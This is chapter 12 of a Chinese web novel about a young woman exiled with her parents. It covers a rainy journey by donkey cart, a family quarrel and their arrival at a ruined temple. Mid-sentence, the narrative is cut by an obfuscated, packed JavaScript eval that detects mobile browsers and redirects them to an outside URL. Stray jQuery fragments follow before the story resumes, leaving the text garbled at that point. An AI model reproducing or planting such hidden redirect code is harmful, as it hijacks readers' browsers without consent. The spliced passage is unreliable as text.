12. 第十二章
作品:《和死对头一起被流放后》 果然,到了半夜,雨淅淅沥沥,敲在屋顶瓦片上。驿馆年久失修,破瓦漏雨,不时啪嗒滴落在地。
被褥潮湿,散发着一股霉味,夹杂着水腥气,弥漫在狭小的客舍中,经久不散。
周绥睁眼听着落雨声,江琼娘应当也醒着,兴许怕吵醒她,偶尔小心翼翼辗转。床底铺着的干草,便沙沙响起来。
雨越下越大,漏进来的雨愈发急促,滴滴答答。在嘈杂扰攘中,周绥竟然睡着了。
晨曦微露,驿馆开始有人走动。昨日坐车赶路,夜里睡过一阵,周绥醒来起身,双腿依然酸胀,比起前日却要舒适许多。
江琼娘神色也好上不少,避开地上的雨水,半支起窗棂朝外打量。“雨下得这般大,地上都积了水,湿滑泥泞。你我没有木屐雨衣,如何能赶路。”
周绥冷静地道:“莫急,等下我想想法子。”
江琼娘欣慰不已,旋即轻声叹息道:“你阿爹与我说,他原本要一道赴死,想到就剩下我们母女俩,咬牙活了下来。这两天,你阿爹魂不守舍,想必念着秦王明相他们。”
要是周昭临死了,江琼娘周绥大半不会被流放。她懒得指出来,对秦王明相之死更无动于衷。
周昭临早已辞官,实属被殃及池鱼。他累及家人,还替贵人掬泪,周绥觉着,简直糊涂透顶!
用过清粥酱菜,江琼娘去找昭临说话,周绥正准备去找驿卒,程尚拿着旧木屐、斗笠、蓑衣过来。他面无表情,惜字如金道:“半盏茶后上路。”
周绥并不去接,侧身让他进屋,指了指木桌,问道:“何处来的这些?”
程尚放下手中之物,“驿卒一大早向吴铜乾兜售。”
“他脑子倒是灵活。”周绥失笑,拿起木屐看着鞋底木齿,直言道:“木屐重,沾泥之后犹如带镣铐前行,一日下来,走二十里都难。元阳县管不着驿卒,他有门道,不如去找他赁车。”
程尚微愣,目光犀利盯着周绥,“他比吴铜乾还要贪财,只一堆旧物,他要了二钱银。有林县令看着,他正好敲竹杠。你的这点银,怕是走不了多远。”
“无妨,先过了眼前的难关再说。”周绥神色大方,她笑了起来,淡淡道:“我先养着你们,待到银子用完时,你们决不会袖手看着。”
程尚紧紧盯着周绥,脸上浮起红晕,竟然变得窘迫起来,“以前出门办差时,从不需我操心钱财。是我疏忽大意了,钱袋中只有不到二两碎银。”
周绥倒不失望,毕竟她不习惯倚仗他人。程尚用她的银子红了脸,他不像郇度,尚有廉耻。他的廉耻对周绥而言,是好事,比银子有用。
“劳烦程解差去找驿卒,莫要恐吓他,些许便宜些便足矣。”周绥见程尚神色疑惑,她抿嘴一笑,抬手指着他的脸,“你面相凶恶,官驿卒害怕你,会答应车马便宜些。只他心中有怨气,可能找不可靠的车夫。行路在外,花银子买平安。”
程尚下意识抚摸着脸,脸色逐渐黑沉。听罢,一言不发转身就走。
周绥望着他怒气冲冲的背影,施施然拿起木屐,学着穿戴。以前她仆从成群,系好木屐,穿上蓑衣,累得后背被汗水濡湿。
驿卒果然神通广大,没多时就找来三辆驴车。雨天不易行走,加之林县令的缘由,索走一两八钱银。
周绥一家三口同坐,其余四人分坐两辆。车夫赶着驴车,从驿馆后巷角门出去,在小巷中熟练灵活穿梭,顺利驶出城。
雨小了些,雨丝随着风纷飞。官道泥泞,驴车颠簸晃悠,行驶得极慢。没一阵,车夫便停下来,用木棍清理塞满车轮的淤泥。
周昭临夜里起了热,精神恹恹靠在车壁上。江琼娘担忧不已,却无计可施,愁眉不展坐在那里。
“我身子没事,歇一觉就好了。”周昭临安抚过江琼娘,又对望着窗外的周绥说道:“岁岁,下雨天凉,你莫要湿了衣衫,仔细生病。”
周绥答了句无妨,她在看车外的庄稼地。清水镇的小麦长势茂盛,已经抽穗。隔着不到百里地,小麦纤细,低矮枯黄。
今年元阳县,应当是荒年。这一路到西北,不知有几地庄稼欠收。繁华的城池愈少,越不易赚银子。
驴车走得越来越慢,车夫气得不断骂骂咧咧,骂过驴,又骂路不平。
周昭临望着周绥,半晌后,终是忍不住小声道:“岁岁,你与阿承到底出了何事?”
天下江山,生死大恨。恍然若梦,又刻骨铭心。
周绥想笑,道:“一时半会难以说清。我们是在流放路上,操心无用。”
周昭临一时愣在那里,早已察觉到周绥的冷淡与疏离,以为她是在怨他,不禁歉疚地道:“岁岁,都怪我,让你与琼娘吃苦受罪了。”
江琼娘忙宽慰他,周绥却点着头,随意道:“我知道了。”
周昭临心中难受,黯然垂下头。江琼娘见状,气得捶了下周绥,训斥道:“天下朝廷大局,权势纷争,你阿爹做不了主,你如何能真埋怨了他。”
她只轻轻一捶,周绥眼神却冷了下去:“无论真情假意,他人做何种反应,都该受着。因而心生不满,真是岂有此理!”
周昭临既口口声声称
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960715|193285||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连累家人,他为此赔不是,周绥接受,他却要生气,显得他心口不一。反之,周昭临若不曾连累家人,他既然道出歉意,不必因她的反应而介怀。无论何种,皆为虚伪。
周绥从不是君子,她并不在意他人虚伪。只她不喜被夫妻俩以长辈之名管束着,必须让他们习惯,她才是发号施令之人。
江琼娘越发生气,周昭临心中惭愧,忙拦住她,晦涩道:“皇上心胸狭窄,睚眦必报,当年文宗帝问我,我如实回禀了。御前的话,不知如何传到了皇上耳中,他记恨在心中多年。秦王明相只是起头,朝廷上下,不知还有多少血雨腥风。”
周绥笑了,道:“那又如何?”
周昭临愕然,“天下动荡不安,岂是好事。”
“是故圣人不必加,凡主不必废;杀人不为暴,赏人不为仁者,国法明也。《商君书》言,君臣亦同为此理。”周绥想到前世,她为“国法明”耗尽心血,最终功亏一篑,不免怅然。
“朝臣官员好比是雨后的野草,一茬接一茬。抄几个家,灭几个族,自有新的高门大户,新的望族崛起。天下动荡,一是天公不作美,二则是朝纲不明,吏治不清。”
周昭临神色恍然,陷入了沉思。
周绥不再多言,合上眼眸养神,“今朝断赶不到青冈县,可能要露宿荒郊野岭,抓紧功夫歇一阵。”
到了午间,雨停了,天气依然闷沉不堪。他们刚行到离县城二十里地的黄羊镇。镇上仅有一条街巷,十余家小铺子。正逢赶集日,午后街上只余三三两两的行人。一行人来到唯一的食铺,要了热汤面充作午饭。
饭后,天空飘起细雨丝,镇上无落脚的行店,只得买了些馒头、两只陶罐、几只陶碗,做好准备继续赶路。
雨天天色昏暗,日头偏西时,他们离青冈县还有十余里地。
前面驴车停了下来,周绥撩起车帘看去,郇度程尚几人陆续下车,站在路边打量官道旁破旧的土地庙。
土地庙离得有十余丈远,小径狭窄,驴车需车夫仔细扶着,方能勉强通过。
周绥小心翼翼踩着杂草,走上小径,泥土沾到木屐底,沉重如山。
郇度故意走在后面,看着摇摇晃晃、艰难行走的周绥,呲呲嘲笑出声。
周绥没工夫搭理他,好不容易来到土地庙,举目望去。
破庙屋顶漏雨,夯土地上,一半地积着尘土,一半地泥浆,虫鼠爬过的脚印清晰可见。
周绥神情木然,心头却一阵翻涌——她绝不再吃这种苦!
从明朝起,务要开始赚银子!

